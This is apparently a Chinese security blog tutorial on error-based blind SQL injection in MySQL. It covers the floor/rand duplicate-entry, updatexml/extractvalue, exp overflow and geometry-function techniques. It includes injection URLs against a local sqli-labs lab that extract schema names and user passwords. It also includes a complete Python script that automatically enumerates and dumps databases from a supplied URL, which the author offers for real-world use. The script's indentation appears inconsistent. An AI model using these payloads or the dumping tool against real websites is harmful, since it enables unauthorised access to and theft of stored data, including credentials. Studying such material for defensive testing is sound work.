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sql盲注之报错注入

0x00 概述

渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入。

 

0x01 报错注入原理

其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。

1. Duplicate entry报错:

一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。

关键是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1,下面以rand(0)简述原理:

首先看看接下来会用到的几个函数

Count()计算总数

Concat()连接字符串

Floor()向下取整数

Rand()产生0~1的随机数
rand(0)序列是011011

1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。

2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。

3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。

由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。

一些报错查询语句(相当于套公式):

假设字段数是3

经典语句:

union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+

version()可以替换为需要查询的信息。

简化语句:

union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 

Sqli-labs less5测试:

1. 获取库名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

2.获取表名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

3. 获取列名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

4. 爆数据

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

2. Xpath报错:

主要的两个函数:

Mysql5.1.5
1. updatexml():对xml进行查询和修改

2. extractvalue():对xml进行查询和修改

都是最大爆32位。

and updatexml(1,concat(0x26,(version()),0x26),1);

and (extractvalue(1,concat(0x26,(version()),0x26)));

Sqli-lab less5测试:

Updatexml():
192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0x26,database(),0x26),1);–+

Extractvalue():
192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0x26,database(),0x26));–+

3. 整形溢出报错:

Mysql>5.5.5

主要函数:
exp(x):计算e的x次方

Payload: and (EXP(~(select * from(select version())a)));

Exp()超过710会产生溢出。

将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。

4. 数据重复报错:

Mysql低版本
payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

 

5. 其余报错:
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

 

0x02 报错注入脚本

依据sqli-lab less-5写的自动化注入脚本,实战再根据具体情况修改即可,盲注还是写脚本方便点。

#coding:utf-8
#Author:LSA
#Description:blind sqli error base script
#Date:20171222



import sys
import requests
import re
import binascii
from termcolor import *
import optparse

fdata = []

def judge_columns_num(url):
	
	for i in range(1,100):
		columns_num_url = url + '\'' + 'order by ' + str(i) + '--+'
		rsp = requests.get(columns_num_url)
		rsp_content_length = rsp.headers['content-length']
		if i==1:
			rsp_true_content_length = rsp_content_length
			continue
		if rsp_content_length == rsp_true_content_length:
			continue
		else:
			print (colored('column nums is ' + str(i-1),"green",attrs=["bold"]))
			columns_num = i
			break


def getDatabases(url):

	dbs_url = url +  "' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+"
    	dbs_html = requests.get(dbs_url).content
    	dbs_num = int(re.search(r'\'(\d*?)&',dbs_html).group(1))
    	print "databases num:" + colored(dbs_num,"green",attrs=["bold"])
    	dbs = []
    	print ("dbs name: ")
    	for dbIndex in xrange(0,dbs_num):
        	db_name_url = url + "' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % dbIndex
        	db_html = requests.get(db_name_url).content
        	db_name = re.search(r'\'(.*?)&', db_html).group(1)
        	dbs.append(db_name)
        	print (colored("\t%s" % db_name,"green",attrs=["bold"]))



def getTables(url, db_name):
    	#db_name_hex = "0x" + binascii.b2a_hex(db_name)
    	tables_num_url = url + "' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % db_name
    	tables_html = requests.get(tables_num_url).content
    	tables_num = int(re.search(r'\'(\d*?)&',tables_html).group(1))
    	print ("databases %s,tables num: %d" % (db_name, tables_num))
    	print ("tables name: ")
    	for tableIndex in xrange(0,tables_num):
        	table_name_url = url + "'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name, tableIndex)
       	 	table_html = requests.get(table_name_url).content
        	table_name = re.search(r'\'(.*?)&',table_html).group(1)
        	print (colored("\t%s" % table_name,"green",attrs=["bold"]))



def getColumns(url,db_name,table_name):
	
    	#db_name_hex = "0x" + binascii.b2a_hex(db_name)
    	#table_name_hex = "0x" + binascii.b2a_hex(table_name)
    	dataColumns_num_url = url + "' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
    	dataColumns_html = requests.get(dataColumns_num_url).content
	dataColumns_num = int(re.search(r'\'(\d*?)&',dataColumns_html).group(1))
    	print ("table: %s,dataColumns num: %d" % (table_name, dataColumns_num))
    	print ("DataColumns name:")
    	for dataColumnIndex in xrange(0,dataColumns_num):
        	dataColumn_name_url = url + "' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name,dataColumnIndex)
        	dataColumn_html = requests.get(dataColumn_name_url).content
        	dataColumn_name = re.search(r'\'(.*?)&',dataColumn_html).group(1)
        	print (colored("\t\t%s" % dataColumn_name,"green",attrs=["bold"]))




def dumpData(url,db_name,table_name,inputColumns_name):
	
    	#db_name_hex = "0x" + binascii.b2a_hex(db_name)
    	#table_name_hex = "0x" + binascii.b2a_hex(table_name)

	dataColumns_num_url = url + "' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
    	data_html = requests.get(dataColumns_num_url).content
    	datas = int(re.search(r'\'(\d*?)&',data_html).group(1))
	

	inputColumns = inputColumns_name.split(',')

	print (colored("Total datas: " + str(datas),"green",attrs=["bold"]))
	print str(inputColumns_name) + ":"
	
    	for inputColumnIndex in xrange(0,len(inputColumns)):
		
		
		for dataIndex in xrange(0,datas):
		
            		dataColumn_name_url = url + "' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)
            		data_html = requests.get(dataColumn_name_url).content
            		data = re.search(r'\'(.*?)&',data_html).group(1)
			fdata.append(data)
            		print (colored("\t%s" % data,"green",attrs=["bold"]))
	for inputc in range(0,len(inputColumns)):
		print str(inputColumns[inputc]) + "\t",
	print ""
	print "+++++++++++++++++++++++++++++++++++++++++++++++++"
	n = len(fdata) / len(inputColumns)
	for t in range(0,n):
		for d in range(t,len(fdata),n):
			print colored(fdata[d],"green",attrs=["bold"]) + "\t",
		print ""
	print "+++++++++++++++++++++++++++++++++++++++++++++++++"
		
		


		
			


def main():
	
    	parser = optparse.OptionParser('python %prog '+\
      	   '-h <manual>')
    	parser.add_option('-u', dest='tgtUrl', type='string',\
      	   help='input target url')
    	parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')
	parser.add_option('--tables', dest='tables', action='store_true',\
           help='get tables')
	parser.add_option('--columns', dest='columns', action='store_true',\
           help='get columns')

    	parser.add_option('-D', dest='db', type='string', help='choose a db')
	parser.add_option('-T', dest='table', type='string',\
           help='choose a table')
	parser.add_option('-C', dest='column', type='string',\
           help='choose column(s)')
	parser.add_option('--dump', dest='data', action='store_true',\
           help='get datas')
    
    	(options, args) = parser.parse_args()
	
	url = options.tgtUrl
	dbs = options.dbs
	tables = options.tables
	columns = options.columns
	db = options.db
	table = options.table
	column = options.column
	datas = options.data
	
	
	if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):
		judge_columns_num(url)
	

	if url and dbs:
		getDatabases(url)
	if url and db and tables:
		getTables(url,db)
	if url and db and table and columns:
		getColumns(url,db,table)
	if url and db and table and column and datas:
		dumpData(url,db,table,column)
		
		
	

if __name__ == '__main__':
    main()

 

0x03 结语

Exp报错和其余报错没测试成功,不知为何,先这样吧。

 

0x04 参考资料

blog.csdn.net/qq_35544379/article/details/77453019

https://bugs.mysql.com/bug.php?id=8652

whc.dropsec.xyz/2017/04/16/SQL报错注入总结/

blog.51cto.com/wt7315/1891458

https://www.msfcode.com/2016/10/11/【sql注入】mysql十种报错注入方式/

www.am0s.com/penetration/138.html

www.jianfensec.com/19.html

www.freebuf.com/articles/web/30841.html

https://www.cnblogs.com/lcamry/articles/5509124.html

 

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